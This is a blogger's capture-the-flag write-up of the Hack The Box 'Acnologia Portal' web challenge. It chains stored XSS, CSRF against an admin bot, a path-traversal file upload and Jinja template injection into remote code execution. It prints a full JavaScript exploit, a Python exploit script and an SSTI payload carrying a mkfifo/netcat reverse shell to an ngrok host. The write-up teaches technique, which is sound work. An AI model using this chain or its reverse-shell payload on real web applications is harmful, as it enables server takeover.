Writeup for Cyber Apocalypse CTF 2022 challenge Acnologia Portal

Posted on May 24, 2022

Cyber Apocalypse

Recon

Hack The Box arranged the Cyber Apocalypse CTF 2022 and Acnologia Portal is a web challenge that was marked with two stars (**). So it should be a challenge of medium difficulty. This is what the description says:

Bonnie has confirmed the location of the Acnologia spacecraft operated by the Golden Fang mercenary. Before taking over the spaceship, we need to disable its security measures. Ulysses discovered an accessible firmware management portal for the spacecraft. Can you help him get in?

Just some background story and not many obvious hints there. But we were given the source code and a docker container in a zip-archive so let’s see what I can find out by scanning through that.

Scanning

Manually analysing the zip archive

┌──(root㉿cb0fba8f3f1a)-[/]
└─# unzip web_acnologia_portal.zip 
Archive:  web_acnologia_portal.zip
   creating: web_acnologia_portal/
   creating: web_acnologia_portal/config/
  inflating: web_acnologia_portal/config/supervisord.conf  
  inflating: web_acnologia_portal/build-docker.sh  
   creating: web_acnologia_portal/challenge/
   creating: web_acnologia_portal/challenge/flask_session/
 extracting: web_acnologia_portal/challenge/flask_session/.gitkeep  
  inflating: web_acnologia_portal/challenge/run.py  
   creating: web_acnologia_portal/challenge/application/
  inflating: web_acnologia_portal/challenge/application/main.py  
  inflating: web_acnologia_portal/challenge/application/config.py  
   creating: web_acnologia_portal/challenge/application/blueprints/
  inflating: web_acnologia_portal/challenge/application/blueprints/routes.py  
   creating: web_acnologia_portal/challenge/application/templates/
  inflating: web_acnologia_portal/challenge/application/templates/dashboard.html  
  inflating: web_acnologia_portal/challenge/application/templates/review.html  
  inflating: web_acnologia_portal/challenge/application/templates/login.html  
  inflating: web_acnologia_portal/challenge/application/templates/register.html  
  inflating: web_acnologia_portal/challenge/application/database.py  
  inflating: web_acnologia_portal/challenge/application/util.py  
   creating: web_acnologia_portal/challenge/application/static/
   creating: web_acnologia_portal/challenge/application/static/firmware_extract/
 extracting: web_acnologia_portal/challenge/application/static/firmware_extract/.gitkeep  
   creating: web_acnologia_portal/challenge/application/static/images/
  inflating: web_acnologia_portal/challenge/application/static/images/logo.png  
   creating: web_acnologia_portal/challenge/application/static/js/
  inflating: web_acnologia_portal/challenge/application/static/js/main.js  
  inflating: web_acnologia_portal/challenge/application/static/js/bootstrap.min.js  
  inflating: web_acnologia_portal/challenge/application/static/js/auth.js  
  inflating: web_acnologia_portal/challenge/application/static/js/jquery-3.6.0.min.js  
   creating: web_acnologia_portal/challenge/application/static/css/
  inflating: web_acnologia_portal/challenge/application/static/css/bootstrap.min.css  
  inflating: web_acnologia_portal/challenge/application/static/css/main.css  
  inflating: web_acnologia_portal/challenge/application/bot.py  
 extracting: web_acnologia_portal/flag.txt  
  inflating: web_acnologia_portal/Dockerfile  

When unzipping the archive we can see that the app is built with python and there’s a template directory present which probably means Flask/Jinja is involved in this. There can be template injections further on. But first let’s just start up the web application in docker and then check it out in the browser.

Cyber Apocalypse

With the docker loaded on our local machine let’s just use Firefox to browse to the “/” endpoint and see what happens.

Cyber Apocalypse

Im greeted with a login page. I do not have any credentials but there’s a link to another page where I can create a new user. Let’s follow that.

Cyber Apocalypse

We register a user called hacker with the password hacker. When I click the register button Im redirected to the login page again.

Cyber Apocalypse

Let’s try to login using the credentials I entered in the last step. Click the login button and….

Cyber Apocalypse

Im redirected to a dashboard. There’s a bunch of buttons that let’s me report a bug. Let’s click one of them.

Cyber Apocalypse

Im presented with a free text field. I just give it the usual XSS payload just to enter something and when I click the submit button…

Cyber Apocalypse

The same window stays in front. After a while there is a status text added indicating a successfull report. Nothing was really reflected back to us. No obvious injections deteted here but it could be a blind one so let’s check out the source code of routes.py so we can see what endpoints there are.

import json
from application.database import User, Firmware, Report, db, migrate_db
from application.util import is_admin, extract_firmware
from flask import Blueprint, jsonify, redirect, render_template, request
from flask_login import current_user, login_required, login_user, logout_user
from application.bot import visit_report

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

def response(message):
    return jsonify({'message': message})

@web.route('/', methods=['GET'])
def login():
    return render_template('login.html')

@api.route('/login', methods=['POST'])
def user_login():
    if not request.is_json:
        return response('Missing required parameters!'), 401

    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')

    if not username or not password:
        return response('Missing required parameters!'), 401

    user = User.query.filter_by(username=username).first()

    if not user or not user.password == password:
        return response('Invalid username or password!'), 403

    login_user(user)
    return response('User authenticated successfully!')

@web.route('/register', methods=['GET'])
def register():
    return render_template('register.html')

@api.route('/register', methods=['POST'])
def user_registration():
    if not request.is_json:
        return response('Missing required parameters!'), 401

    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')

    if not username or not password:
        return response('Missing required parameters!'), 401

    user = User.query.filter_by(username=username).first()

    if user:
        return response('User already exists!'), 401

    new_user = User(username=username, password=password)
    db.session.add(new_user)
    db.session.commit()

    return response('User registered successfully!')

@web.route('/dashboard')
@login_required
def dashboard():
    return render_template('dashboard.html')

@api.route('/firmware/list', methods=['GET'])
@login_required
def firmware_list():
    firmware_list = Firmware.query.all()
    return jsonify([row.to_dict() for row in firmware_list])

@api.route('/firmware/report', methods=['POST'])
@login_required
def report_issue():
    if not request.is_json:
        return response('Missing required parameters!'), 401

    data = request.get_json()
    module_id = data.get('module_id', '')
    issue = data.get('issue', '')

    if not module_id or not issue:
        return response('Missing required parameters!'), 401

    new_report = Report(module_id=module_id, issue=issue, reported_by=current_user.username)
    db.session.add(new_report)
    db.session.commit()

    visit_report()
    migrate_db()

    return response('Issue reported successfully!')

@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
    if 'file' not in request.files:
        return response('Missing required parameters!'), 401

    extraction = extract_firmware(request.files['file'])
    if extraction:
        return response('Firmware update initialized successfully.')

    return response('Something went wrong, please try again!'), 403

@web.route('/review', methods=['GET'])
@login_required
@is_admin
def review_report():
    Reports = Report.query.all()
    return render_template('review.html', reports=Reports)

@web.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect('/')

There’s obviously the ones I already tried “/”, “/login”, “/register”, “/firmware/list” and “/firmware/report”. But there’s a bunch that are decorated with @is_admin. These are endpoints only an administrator can reach. And this one seems interesting:

@web.route('/review', methods=['GET'])
@login_required
@is_admin
def review_report():
    Reports = Report.query.all()
    return render_template('review.html', reports=Reports)

It renders a Flask/Jinja template let’s check out the review.html source code.

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Firmware bug reports</title>
    <link href="/static/css/bootstrap.min.css" rel="stylesheet" />
  </head>
  <body>
    <nav class="navbar navbar-default bg-dark justify-content-between">
      <a class="navbar-brand ps-3" href="#">Firmware bug reports</a>
      <ul class="navbar-nav mb-2 mb-lg-0 me-5">
        <li class="nav-item">
          <a class="nav-item active" href="#">Reports</a>
        </li>
        <li class="nav-item">
          <a class="nav-item" href="/logout">Logout</a>
        </li>
      </ul>
    </nav>
    <div class="container" style="margin-top: 20px"> {% for report in reports %} <div class="card">
        <div class="card-header"> Reported by : {{ report.reported_by }}
        </div>
        <div class="card-body">
        <p class="card-title">Module ID : {{ report.module_id }}</p>
          <p class="card-text">Issue : {{ report.issue | safe }} </p>
          <a href="#" class="btn btn-primary">Reply</a>
          <a href="#" class="btn btn-danger">Delete</a>
        </div>
      </div> {% endfor %} </div>
  </body>
</html>

This {{ report.issue | safe }} indicates a pretty probable XSS vulnerabilitiy since the safe word makes the text pass through as is. Let’s just verify this by trying to steal the Admin:s cookies. First start a simple web server to listen for incoming traffic.

 ~/ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

And then send a standard payload that tries to steal cookies from the users browser and send them to our listening web server.

XSS

Press the report button and let’s check out our python web server.

 ~/ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:192.168.2.49 - - [24/May/2022 16:08:17] "GET /? HTTP/1.1" 200 -

There’s a reply there so we do have XSS but there’s no cookie. Let’s inspect our cookie in the browsers developer tools.

Cookie

Yes that’s the answer right there. The cookie is marked as HttpOnly which means it’s not accessible from javascript. But we can use the XSS vulnerability to perform requests authenticated as Admin and the cookie will be sent automatically. So we should be able to do some CSRF. Let’s check out some more endpoints that the Admin can reach.

@api.route('/firmware/upload', methods=['POST'])
@login_required
@is_admin
def firmware_update():
    if 'file' not in request.files:
        return response('Missing required parameters!'), 401

    extraction = extract_firmware(request.files['file'])
    if extraction:
        return response('Firmware update initialized successfully.')

    return response('Something went wrong, please try again!'), 403

We should be able to upload a file by designing an XSS payload. If we do that the function extract_firmware() is called. It can be found in util.py, lets see what it does.

def extract_firmware(file):
    tmp  = tempfile.gettempdir()
    path = os.path.join(tmp, file.filename)
    file.save(path)

    if tarfile.is_tarfile(path):
        tar = tarfile.open(path, 'r:gz')
        tar.extractall(tmp)

        rand_dir = generate(15)
        extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}"
        os.makedirs(extractdir, exist_ok=True)
        for tarinfo in tar:
            name = tarinfo.name
            if tarinfo.isreg():
                try:
                    filename = f'{extractdir}/{name}'
                    os.rename(os.path.join(tmp, name), filename)
                    continue
                except:
                    pass
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)
        tar.close()
        return True

    return False

As far as I can see the file will be saved in the temp directory. More interesting is that there’s no sanity check on the filename. We could probably do some directory traversal here and overwrite files in the system by adding some ../../../../ to the filename. If the file is a tarfile more stuff happens. If that the directory traversal works we do not need to bother writing an evil tar since we can overwrite files anyway.

So we can overwrite files but how can that give us access to the system? Well we could overwrite some of the python files and include a reverse shell. BUT there’s one problem. This is run.py that starts the application.

from application.main import app
from application.database import migrate_db

with app.app_context():
    migrate_db()

app.run(host='0.0.0.0', port=1337, debug=False, use_evalex=False)

The debug=False means that the python files are not reloaded automatically if changed. That’s how it should work in production. But can I do something with the templates? There’s dashboard.html, login.html and register.html and I need to visit every one to trigger the XSS in the first place. Once a template is loaded into memory it does not matter if I overwrite it on disk.

But if I script this I don’t need to do a HTTP/GET on “/register” only HTTP/POST. And as we can see here:

@api.route('/register', methods=['POST'])
def user_registration():
    if not request.is_json:
        return response('Missing required parameters!'), 401

    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')

    if not username or not password:
        return response('Missing required parameters!'), 401

    user = User.query.filter_by(username=username).first()

    if user:
        return response('User already exists!'), 401

    new_user = User(username=username, password=password)
    db.session.add(new_user)
    db.session.commit()

    return response('User registered successfully!')

A HTTP/POST does not call render_template() on the register.html. So perhaps I could register a new user, login and use the XSS/CSRF to trigger an overwrite of register.html which includes a SSTI (this is not really injection but we can use the sam payloads) template that gives RCE and a reverse shell. It’s time to do some scripting.

Gaining Access

Create a template for RCE and reverse shell

We are dealing with Flask/Jinja templating so we can use an SSTI payload. I design it like this.

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 8.tcp.ngrok.io 11491 >/tmp/f').read()}}

Create the javascript to do CSRF via XSS

The javascript payload needs to upload my own version of the register.html and use an evil filename including ../ to overwrite the register template. This is my javascript with the template payload embedded in some html that should overwrite the existing register.html.:

const payload =
  "<!doctype html><body>{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 8.tcp.ngrok.io 11491 >/tmp/f').read()}}</body></html>";

var blob = new Blob([payload], { type: "text/plain" });
var formdata = new FormData();
formdata.append("file", blob, "../app/application/templates/register.html");

var requestOptions = {
  method: "POST",
  body: formdata,
};

fetch("http://localhost:1337/api/firmware/upload", requestOptions);

Now we need to script the HTTP/POST to “/register”, “/login” and “/firmware/report” so that we do not need go via the webpage and trigger that HTTP/GET on “/register” and destroy our chances of loading it after overwrite. Let’s do it in Python.

Creating the exploit script

One more thing to check out in the “/firmware/report”:

@api.route('/firmware/report', methods=['POST'])
@login_required
def report_issue():
    if not request.is_json:
        return response('Missing required parameters!'), 401

    data = request.get_json()
    module_id = data.get('module_id', '')
    issue = data.get('issue', '')

    if not module_id or not issue:
        return response('Missing required parameters!'), 401

    new_report = Report(module_id=module_id, issue=issue, reported_by=current_user.username)
    db.session.add(new_report)
    db.session.commit()

    visit_report()
    migrate_db()

    return response('Issue reported successfully!')

In the end there migrate_db() is called and the entire database is wiped after every post. That means that we have to register a new user and login again in the end when we want to trigger our reverse shell by doing HTTP/GET on /register. So I design my exploit.py script like this:

import requests

url = "http://127.0.0.1:1337"

f = open("payload.js")
payload = f.read()
f.close()

r = requests.post(
    url + "/api/register", json={"username": "hacker", "password": "hacker"}
)
r = requests.post(url + "/api/login", json={"username": "hacker", "password": "hacker"})

cookie = r.cookies["session"]

r = requests.post(
    url + "/api/firmware/report",
    cookies={"session": cookie},
    json={"module_id": "1", "issue": f"<script>{payload}</script>"},
)

r = requests.get(url + "/register")

Now it’s time to try this out. Let’s start a netcat listener.

 ~/Downloads/ nc -lvn 1338   

Let’s fire up ngrok to proxy request from the internet to my local listener. (We really do not need to do this now when we are running locally but during the contest we needed this to attack the live target.)

 ~/Downloads/ ./ngrok tcp 1338 

ngrok                                                           (Ctrl+C to quit)
                                                                                
Session Status                online                                            
Account                       Christian Granström (Plan: Free)                  
Version                       3.0.3                                             
Region                        United States (us)                                
Latency                       270.819347ms                                      
Web Interface                 http://127.0.0.1:4040                             
Forwarding                    tcp://8.tcp.ngrok.io:11491 -> localhost:1338      
                                                                                
Connections                   ttl     opn     rt1     rt5     p50     p90       
                              0       0       0.00    0.00    0.00    0.00                                                                               

Finally we execute our exploit script.

 ~/Downloads/ python exploit.py 

And now take a look at our netcat listener.

Cyber Apocalypse

Boom!!! We got ourselves a reverse shell an a well deserved flag.

Summary

First of all I like to give a big thank you to Hack The Box for once again giving us an awsome CTF. 61 challenges in 7 days is a bit daunting when you need to keep your customers happy at the same time. :) But we choose to solve the challenges that we did not have to spend too many hours on. In the end we solved 34 of them and that placed us as the best swedish team at place 52 out of 7024 teams. That’s a top 1% ranking in this competition and we are more than happy with that.

Certificate

07:15 swedish time on the last day of the CTF the entire Cybix-team left Sweden for a weekend in Athens. I tried to solve the Acnologia Portal on the plane. I actually missed the deadline with an hour or two so this did not give us any points.

In the end I started to think about the flag HTB{des3r1aliz3_4ll_th3_th1ngs} Deserialization??? WTF??? I did not do any deserialization to solve this one!!! I must have solved this in an unintended way. At the time of writing I can’t really figure out where to do some deserialization exploitation but I guess I have to check out some other writeup.

Until next time, happy hacking!

/f1rstr3am

Christian

HTB THM